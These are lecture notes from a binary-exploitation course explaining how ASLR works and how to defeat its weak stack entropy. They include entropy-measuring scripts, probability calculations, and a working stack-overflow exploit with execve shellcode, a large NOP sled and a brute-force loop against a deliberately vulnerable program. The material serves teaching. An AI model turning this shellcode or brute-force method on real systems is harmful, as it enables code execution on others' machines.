SI485H: Stack Based Binary Exploits and Defenses (F15)

Home Policy Calendar Resources

Lec. 16: Address Space Layout Randomization

Table of Contents

1 ASLR: Address Space Layout Randomization

So far this semester we've turning off a bunch of security features that have made a lot of our exploits a lot easier. This lesson, we are going to turn one of those: Address Space Layout Randomization, or ASLR.

The purpose of ASLR is to increase the difficulty of performing buffer overflow by randomizing the mapping of the memory at processes load time. What this means practically is that if you have are performing an exploit like so

                                          .-----------.
                                          |           |
                                          |           v
./vulnerable 5 <--------padding-----><return-address><shell code>

where you are overwriting the return address with another value on the stack, the address of your shell code will move around. Clearly, this will make things more difficult, but we've got tools to get around this.

In today's lesson we are going to first see how ASLR is ineffective at preventing our attacks for the simple reason that probabilities are on are side — the so called birthday paradox. It also turns out that in some situations, we don't actually have to guess anything. We can leverage the non-randomized parts of the program to do our dirty work for us.

2 How random is random really?

The first thing to do is to investigate how ASLR works. To do that, we need to first understand a bit how memory is mapped for a process. Every process has a memory map, managed by the kernel, which describes what parts of the memory address space are accessible. We can actually look at the maps of a process use the /proc file system.

To do so, we'll consider a small program that just busy waits, which we can run in the background, and then we can look at its maps.

user@si485H-base:demo$ ./busy_wait &
[4] 7984
[3]   Terminated              ./busy_wait
user@si485H-base:demo$ cat /proc/7984/maps
08048000-08049000 r-xp 00000000 08:01 321977     /home/user/git/si485-binary-exploits/lec/16/demo/busy_wait
08049000-0804a000 r-xp 00000000 08:01 321977     /home/user/git/si485-binary-exploits/lec/16/demo/busy_wait
0804a000-0804b000 rwxp 00001000 08:01 321977     /home/user/git/si485-binary-exploits/lec/16/demo/busy_wait
b7e19000-b7e1a000 rwxp 00000000 00:00 0 
b7e1a000-b7fc2000 r-xp 00000000 08:01 161120     /lib/i386-linux-gnu/libc-2.19.so
b7fc2000-b7fc4000 r-xp 001a8000 08:01 161120     /lib/i386-linux-gnu/libc-2.19.so
b7fc4000-b7fc5000 rwxp 001aa000 08:01 161120     /lib/i386-linux-gnu/libc-2.19.so
b7fc5000-b7fc8000 rwxp 00000000 00:00 0 
b7fdb000-b7fdd000 rwxp 00000000 00:00 0 
b7fdd000-b7fde000 r-xp 00000000 00:00 0          [vdso]
b7fde000-b7ffe000 r-xp 00000000 08:01 163829     /lib/i386-linux-gnu/ld-2.19.so
b7ffe000-b7fff000 r-xp 0001f000 08:01 163829     /lib/i386-linux-gnu/ld-2.19.so
b7fff000-b8000000 rwxp 00020000 08:01 163829     /lib/i386-linux-gnu/ld-2.19.so
bffdf000-c0000000 rwxp 00000000 00:00 0          [stack]

You notice some maps are familiar, such as the stack, and also some libraries, like libc. Additionally, you'll see the program code itself, e.g., the binary file, is also mapped into memory. This is the entire address space layout as we've seen it so far, and if we were to try and access out of bounds of this area, we would get a segmentation fault.

Also, the memory space is not randomized. We can see that is the case if we were to run this program again and look at the maps:

user@si485H-base:demo$ killall busy_wait
user@si485H-base:demo$ ./busy_wait &
[5] 7988
[4]   Terminated              ./busy_wait
user@si485H-base:demo$ cat /proc/7988/maps
08048000-08049000 r-xp 00000000 08:01 321977     /home/user/git/si485-binary-exploits/lec/16/demo/busy_wait
08049000-0804a000 r-xp 00000000 08:01 321977     /home/user/git/si485-binary-exploits/lec/16/demo/busy_wait
0804a000-0804b000 rwxp 00001000 08:01 321977     /home/user/git/si485-binary-exploits/lec/16/demo/busy_wait
b7e19000-b7e1a000 rwxp 00000000 00:00 0 
b7e1a000-b7fc2000 r-xp 00000000 08:01 161120     /lib/i386-linux-gnu/libc-2.19.so
b7fc2000-b7fc4000 r-xp 001a8000 08:01 161120     /lib/i386-linux-gnu/libc-2.19.so
b7fc4000-b7fc5000 rwxp 001aa000 08:01 161120     /lib/i386-linux-gnu/libc-2.19.so
b7fc5000-b7fc8000 rwxp 00000000 00:00 0 
b7fdb000-b7fdd000 rwxp 00000000 00:00 0 
b7fdd000-b7fde000 r-xp 00000000 00:00 0          [vdso]
b7fde000-b7ffe000 r-xp 00000000 08:01 163829     /lib/i386-linux-gnu/ld-2.19.so
b7ffe000-b7fff000 r-xp 0001f000 08:01 163829     /lib/i386-linux-gnu/ld-2.19.so
b7fff000-b8000000 rwxp 00020000 08:01 163829     /lib/i386-linux-gnu/ld-2.19.so
bffdf000-c0000000 rwxp 00000000 00:00 0          [stack]

Same mappings. Now, let's turn on address space randomization.

user@si485H-base:demo$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space 
2

If we were to look at the maps again, this time the picture is a bit different:

user@si485H-base:demo$ ./busy_wait &
[2] 7999
user@si485H-base:demo$ cat /proc/7999/maps
08048000-08049000 r-xp 00000000 08:01 321977     /home/user/git/si485-binary-exploits/lec/16/demo/busy_wait
08049000-0804a000 r-xp 00000000 08:01 321977     /home/user/git/si485-binary-exploits/lec/16/demo/busy_wait
0804a000-0804b000 rwxp 00001000 08:01 321977     /home/user/git/si485-binary-exploits/lec/16/demo/busy_wait
b75cf000-b75d0000 rwxp 00000000 00:00 0 
b75d0000-b7778000 r-xp 00000000 08:01 161120     /lib/i386-linux-gnu/libc-2.19.so
b7778000-b777a000 r-xp 001a8000 08:01 161120     /lib/i386-linux-gnu/libc-2.19.so
b777a000-b777b000 rwxp 001aa000 08:01 161120     /lib/i386-linux-gnu/libc-2.19.so
b777b000-b777e000 rwxp 00000000 00:00 0 
b7791000-b7793000 rwxp 00000000 00:00 0 
b7793000-b7794000 r-xp 00000000 00:00 0          [vdso]
b7794000-b77b4000 r-xp 00000000 08:01 163829     /lib/i386-linux-gnu/ld-2.19.so
b77b4000-b77b5000 r-xp 0001f000 08:01 163829     /lib/i386-linux-gnu/ld-2.19.so
b77b5000-b77b6000 rwxp 00020000 08:01 163829     /lib/i386-linux-gnu/ld-2.19.so
bf8fb000-bf91c000 rwxp 00000000 00:00 0          [stack]

In particular, as we care most about the stack, the stack address has changed significantly. Interesting, the address of the text segment has not (which will be important later). If we were to run this a bunch of times, we'd start to see that every time we run the program, we get different values of the stack. Here's a script to do that:

#!/bin/bash
for i in `seq 1 1 25` #loop 25 times
 do 
    ./busy_wait & #run busywait
    pid=$! #get its pid
    cat /proc/$pid/maps | grep stack #report its mapping for the stack
    kill -9 $pid
done

And the output:

user@si485H-base:demo$ ./rand_stack.sh 2>/dev/null
bf8d5000-bf8f6000 rwxp 00000000 00:00 0          [stack]
bfa39000-bfa5a000 rwxp 00000000 00:00 0          [stack]
bfa02000-bfa23000 rwxp 00000000 00:00 0          [stack]
bfe62000-bfe83000 rwxp 00000000 00:00 0          [stack]
bf99d000-bf9be000 rwxp 00000000 00:00 0          [stack]
bf9f7000-bfa18000 rwxp 00000000 00:00 0          [stack]
bfbd9000-bfbfa000 rwxp 00000000 00:00 0          [stack]
bfbdb000-bfbfc000 rwxp 00000000 00:00 0          [stack]
bfc18000-bfc39000 rwxp 00000000 00:00 0          [stack]
bfaaa000-bfacb000 rwxp 00000000 00:00 0          [stack]
bfd70000-bfd91000 rwxp 00000000 00:00 0          [stack]
bfe83000-bfea4000 rwxp 00000000 00:00 0          [stack]
bf96f000-bf990000 rwxp 00000000 00:00 0          [stack]
bfc28000-bfc49000 rwxp 00000000 00:00 0          [stack]
bfae4000-bfb05000 rwxp 00000000 00:00 0          [stack]
bfd1a000-bfd3b000 rwxp 00000000 00:00 0          [stack]
bfd38000-bfd59000 rwxp 00000000 00:00 0          [stack]
bfce7000-bfd08000 rwxp 00000000 00:00 0          [stack]
bff97000-bffb8000 rwxp 00000000 00:00 0          [stack]
bfb1e000-bfb3f000 rwxp 00000000 00:00 0          [stack]
bfdc8000-bfde9000 rwxp 00000000 00:00 0          [stack]
bfec7000-bfee8000 rwxp 00000000 00:00 0          [stack]
bfd5d000-bfd7e000 rwxp 00000000 00:00 0          [stack]
bfd79000-bfd9a000 rwxp 00000000 00:00 0          [stack]
bfb1e000-bfb3f000 rwxp 00000000 00:00 0          [stack]

2.1 Bits of Entropy

You may notice from above that while there is randomness in the placement of the stack, there is not a huge amount of randomness. The question at hand is how much randomness is really there? Or, more generally, how many bits in the address are really random?

To do that, let's look at a more simple program:

#include <stdio.h>
#include <stdlib.h>

int main(){

  int a =10;

  printf("%p\n",&a);

}

The program just prints the address of a stack defined variable. If we were to run this program once or twice we can see that we are getting different values each time:

user@si485H-base:demo$ ./rand_sample 
0xbffe6f4c
user@si485H-base:demo$ ./rand_sample 
0xbf8e514c
user@si485H-base:demo$ ./rand_sample 
0xbffcfbbc
user@si485H-base:demo$ ./rand_sample 
0xbfb34d6c

Now, let's take this a bit further. Here's a python program that will read in these values and determine which of the bits are actually changing across runs:

#!/usr/bin/python

import sys

def to_bin(v):
    r = ""
    for i in range(32):
	r += str( v & 0x1)
	v >>= 1

    return "".join(reversed(r))

last = None
changed = list(to_bin(0xFFFFFFFF))
addr = 0xFFFFFFFF
for l in sys.stdin:
    a = int(l.strip(),16)

    addr &= a


    if last == None:
	last = list(to_bin(a))
    else:
	cur = list(to_bin(a))
	for i in range(32):
	    if last[i] != cur[i]:
		changed[i] = "0"




 print "Consitent: ", to_bin(addr), hex(addr)
 print "  Changed: ", "".join(changed), 32-sum(map(int,changed))

Bringing these program together:

user@si485H-base:demo$ for i in `seq 1 1 100`; do ./rand_sample ; done | python random_bits.py 
Consitent:  10111111100000000000000000001100 0xbf80000c
  Changed:  11111111100000000000000000001111 19

We see that the prefix 0xbf8 and the suffix 0xc persist across runs. In total, only 19 of the 32 bits is random. This is a big difference. Consider that if there was truly 32 bits of randomness, that means there could be 232 possible values to guess, or roughly 4 billion.

On the other hand, 219 is a more tractable number. That's only roughly half a million, which on face value may seam like a lot, but it is significantly smaller than 4 billion. More so, we only have to be right once to exploit the program, and the probability that we are right increases exponentially with each guess.

2.2 Probability of Success

The next question is, given that there are only 19 bits of randomness to play with here, what is our probability of correctly guessing the right return address.

With one guess, that would be 2(-19) or 1/524288, which doesn't seem that good, but we're talking about computers here, so we guess a lot of times. To see how this probability changes in the number of guesses we make, we can treat this like an expectation of a geometric probability calculation.

The idea is that if we were to make n guesses, what is probability that we get the right address at least once. At least once calculations are a bit tough to do, generally, but the inverse probability is easier. Instead, lets consider the probability of never getting the address right, and the inverse of that probability would be the same as getting it right at least once.

The probability of not guessing correctly is calculated as one minus the probability of guessing correctly (or q):

\begin{equation*} q = 1 - \frac{1}{2^{19}} \end{equation*}

So if we were to consider the probility in n attempts of not getting it right, that would be

\begin{equation*} 1 - q^{\ n} \end{equation*}

Another way to read this is that after n independent events, each with a probability of not guessing correctly, the probability of getting at least one right, is the inverse of never getting it right.

Here is a small python program that does this calculation for us:

#!/usr/bin/python

import sys

if __name__ == "__main__":

    p = float(sys.argv[1])
    n = int(sys.argv[2])

    q = 1-p
    for i in range(n+1):
	prob = 1 - q**(i+1)
	print i, prob

Running it for \(2^19\), we can start to see the challenge:

user@si485H-base:demo$ ./geometric.py `python -c 'print 1.0/2**19'` 10
0 1.90734863281e-06
1 3.81469362765e-06
2 5.7220349845e-06
3 7.62937270338e-06
4 9.53670678439e-06
5 1.14440372273e-05
6 1.33513640324e-05
7 1.52586871995e-05
8 1.71660067286e-05
9 1.907332262e-05
10 2.09806348732e-05

Our odds are pretty bad, but after a few thousands attempts:

user@si485H-base:demo$ ./geometric.py `python -c 'print 1.0/2**19'` 1000 | tail 
991 0.0018903027712
992 0.00189220651437
993 0.00189411025391
994 0.00189601398981
995 0.00189791772208
996 0.00189982145073
997 0.00190172517574
998 0.00190362889712
999 0.00190553261487
1000 0.00190743632898

user@si485H-base:demo$ ./geometric.py `python -c 'print 1.0/2**19'` 10000 | tail 
9991 0.0188777855858
9992 0.0188796569279
9993 0.0188815282665
9994 0.0188833996014
9995 0.0188852709328
9996 0.0188871422607
9997 0.018889013585
9998 0.0188908849057
9999 0.0188927562228
10000 0.0188946275363

user@si485H-base:demo$ ./geometric.py `python -c 'print 1.0/2**19'` 100000 | tail 
99991 0.173635885806
99992 0.173637461971
99993 0.173639038132
99994 0.173640614291
99995 0.173642190446
99996 0.173643766598
99997 0.173645342748
99998 0.173646918894
99999 0.173648495038
100000 0.173650071178

Things are starting to look a bit better, but not that great. Fortunately, we can do a lot better than this with some careful nop-sledding.

2.3 On ASLR and NOP sleds

In the calculations before we were only considering the situation where we have to get it exactly right, like in the exploit below:

                                          .-----------.
                                          |           |
                                          |           v
./vulnerable 5 <--------padding-----><return-address><shell code>

But, we aren't considering the NOP sled, what if we did the following with the exploit:

                                          .---------------.
                                          |               |
                                          |               v
./vulnerable 5 <--------padding-----><return-address><'\x90' x 65535 > <shell code>

If our nop sled is large enough, we are essentially taking away some potential randomness because we are can jump anywhwere in the nop sled. For example, consider if we want to overwrite the return address with 0xbfa20000 and we have a nop sled of length 0xffff. Then we can jump anywhere between 0xbfa20000 and 0xbfa2fffff and we would hit the nop sled and reach our shell code. How many bits of randomness remain now?

From before, we saw that the first 13 bits were fixed with the first 9 and the last 4. Now we are saying that whatever the last 16 bits in the address also doesn't matter as well, overlapping with the previously fixed last 4. That leaves only 32-16-9 = 7 bits of randomness to contend with, and that ain't much, just 128 possibilities! The probabilities really start to work in our favor now:

user@si485H-base:demo$ ./geometric.py `python -c 'print 1.0/2**7'` 10 | tail
1 0.0155639648438
2 0.0232548713684
3 0.0308856926858
4 0.0384568982117
5 0.0459689536945
6 0.0534223212437
7 0.060817459359
8 0.0681548229578
9 0.0754348634034
10 0.0826580285331
user@si485H-base:demo$ ./geometric.py `python -c 'print 1.0/2**7'` 100 | tail
91 0.514012476108
92 0.517809253638
93 0.521576368844
94 0.525314053462
95 0.52902253742
96 0.532702048846
97 0.536352814089
98 0.539975057729
99 0.543569002591
100 0.547134869758
user@si485H-base:demo$ ./geometric.py `python -c 'print 1.0/2**7'` 1000 | tail
991 0.999582168385
992 0.999585432694
993 0.999588671501
994 0.999591885005
995 0.999595073404
996 0.999598236893
997 0.999601375667
998 0.99960448992
999 0.999607579842
1000 0.999610645625

After a hundred guesses, we have more than 50% probability of getting it right at least once! So let's make that happen.

3 Brute Forcing

Now that we see how easy it is to guess the right place to jump, let's see what it takes to actually brute force this. The first thing we need to determine is a good place to set up our exploit. From what we've seen, the addresses on the stack can range anywhere between 0xbf80000 and 0xbfffffff, so let's split the hairs (12-8)/2=2 and 2+8 is 0xa. So, let's try and jump to an address in the range 0xbfa00000. We can't send null bytes into our code, so we can use 0xbfbffff as our overwritten return address, and thus any address in the range 0xbfbfffff -> 0xbfa0fffe will work. For the function we are going to exploit, we'll use the vulnerable program from earlier lessons, shown below:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void bad(){
  printf("You've been naughty!\n");
}

void good(){
  printf("Go Navy!\n");
}

void vuln(int n, char * str){

  int i = 0;  
  char buf[32];


  strcpy(buf,str);

  while( i < n ){
    printf("%d %s\n",i++, buf);
  }

}

int main(int argc, char *argv[]){

  vuln(atoi(argv[1]), argv[2]);

  return 0;

}

And here is the exploit string we will use:

./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"`

The embedded shell code is our 21 byte smallest shell code, and we will put in 0xffff nop's to increase our chances. Here's a little shell script to perform the brute force:

#!/bin/bash

let i=1
while true
do 
    echo $i $(dmesg | tail -1 | grep -o "sp [^ ]* ")  #count plus last failed stack pointer
    echo
    ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"`
    let i=i+1
done

The script will print out the number of attempts, and also the address of the stack pointer on the last failed attempt. And off it goes …

./brute_force.sh 
1 sp bfe6fff0

./brute_force.sh: line 11: 16261 Segmentation fault      (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"`
./brute_force.sh: line 10: usleep: command not found
2 sp bfcf8760

./brute_force.sh: line 11: 16269 Segmentation fault      (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"`
./brute_force.sh: line 10: usleep: command not found
3 sp bf809a40

./brute_force.sh: line 11: 16277 Segmentation fault      (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"`
./brute_force.sh: line 10: usleep: command not found
4 sp bfcbc9e0

./brute_force.sh: line 11: 16285 Segmentation fault      (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"`
./brute_force.sh: line 10: usleep: command not found
5 sp bfd794d0

./brute_force.sh: line 11: 16293 Segmentation fault      (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"`
./brute_force.sh: line 10: usleep: command not found
6 sp bfaa49c0

./brute_force.sh: line 11: 16301 Segmentation fault      (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"`
./brute_force.sh: line 10: usleep: command not found
7 sp bfac9870

./brute_force.sh: line 11: 16309 Segmentation fault      (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"`
./brute_force.sh: line 10: usleep: command not found
8 sp bfa30420

./brute_force.sh: line 11: 16317 Segmentation fault      (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"`
./brute_force.sh: line 10: usleep: command not found
9 sp bfd87030

./brute_force.sh: line 11: 16325 Segmentation fault      (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"`
./brute_force.sh: line 10: usleep: command not found
10 sp bfa4cc00

./brute_force.sh: line 11: 16333 Segmentation fault      (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"`
./brute_force.sh: line 10: usleep: command not found
11 sp bfddb220

./brute_force.sh: line 11: 16341 Segmentation fault      (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"`
./brute_force.sh: line 10: usleep: command not found
12 sp bfddb220

./brute_force.sh: line 11: 16349 Segmentation fault      (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"`
./brute_force.sh: line 10: usleep: command not found
13 sp bfddb220

./brute_force.sh: line 11: 16357 Segmentation fault      (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"`
./brute_force.sh: line 10: usleep: command not found
14 sp bfddb220

./brute_force.sh: line 11: 16365 Segmentation fault      (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"`
./brute_force.sh: line 10: usleep: command not found
15 sp bfddb220

./brute_force.sh: line 11: 16373 Segmentation fault      (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"`
./brute_force.sh: line 10: usleep: command not found
16 sp bfddb220

./brute_force.sh: line 11: 16382 Segmentation fault      (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"`
./brute_force.sh: line 10: usleep: command not found
17 sp bfddb220

./brute_force.sh: line 11: 16390 Segmentation fault      (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"`
./brute_force.sh: line 10: usleep: command not found
18 sp bfddb220

./brute_force.sh: line 11: 16398 Segmentation fault      (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"`
./brute_force.sh: line 10: usleep: command not found
19 sp bfddb220

./brute_force.sh: line 11: 16406 Segmentation fault      (core dumped) ./vulnerable 1 `python -c "print 'A'*(0x2c+0x4) + '\xff\xff\xb0\xbf' + '\x90'*0xffff + '\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80'"`
./brute_force.sh: line 10: usleep: command not found
20 sp bfddb220

$

This time it took 20 attempts to get it … the next time, maybe more, maybe less. But the odds are ever in our favor :)